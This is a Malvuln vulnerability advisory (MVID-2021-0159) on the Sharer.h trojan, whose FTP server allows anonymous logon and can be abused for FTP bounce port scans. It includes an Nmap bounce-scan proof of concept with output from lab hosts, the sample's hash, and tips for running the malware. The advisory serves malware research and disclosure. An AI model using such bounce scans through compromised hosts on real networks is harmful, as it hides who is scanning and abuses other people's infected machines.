Original source: https://malvuln.com/advisory/9f80c3b1e7f5f6f7d0c8aea25fe83551_B.txt
Contact:
Media: twitter.com/malvuln
Threat: Trojan.Win32.Sharer.h
Vulnerability: Anonymous Logon MITM Port Bounce Scan
Description: Sharer.h by GOLDSWORD - www.daokers.cn can run several
types of services one is an FTP server named "20CN MINIFTP" TCP
port 21. Third-party adversaries can abuse the server as a
man-in-the-middle machine allowing PORT Command bounce scan attacks
using Nmap. This vulnerability allows remote attackers to abuse
your system and discreetly conduct network port scanning. Victims
will then think these scans are originating from the infected
system running the afflicted malware FTP Server and not you. The
FTP server default configuration is username "anonymous" and no
password, any password will allow logon. Running this malware you
may get missing "picclp32.ocx" error just run it again and it
should work.
Type: PE32
MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551
Vuln ID: MVID-2021-0159
Dropped files: FtpServer.exe
Disclosure: 04/03/2021
Exploit/PoC:
nmap -n -Pn -b anonymous:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-01 20:56 Pacific
Daylight Time
Resolved FTP bounce attack proxy to 192.168.88.128
(192.168.88.128).
Attempting connection to
ftp://anonymous:
Connected:220 ─πY╙╓└┤┴╦!!!
Login credentials accepted by FTP server!
Initiating Bounce Scan at 20:56
Discovered open port 80/tcp on 192.168.88.131
Completed Bounce Scan at 20:56, 1.05s elapsed (2 total ports)
Nmap scan report for 192.168.88.131
Host is up.
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 10.22 seconds
Disclaimer: The information contained within this advisory is
supplied "as-is" with no warranties or guarantees of fitness of use
or otherwise. Permission is hereby granted for the redistribution
of this advisory, provided that it is not altered except by
reformatting it, and that due credit is given. Permission is
explicitly given for insertion in vulnerability databases and
similar, provided that due credit is given to the author. The
author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage
caused by the use or misuse of this information. The author
prohibits any malicious use of security related information or
exploits by the author or elsewhere. Do not attempt to download
Malware samples. The author of this website takes no responsibility
for any kind of damages occurring from improper Malware handling or
the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
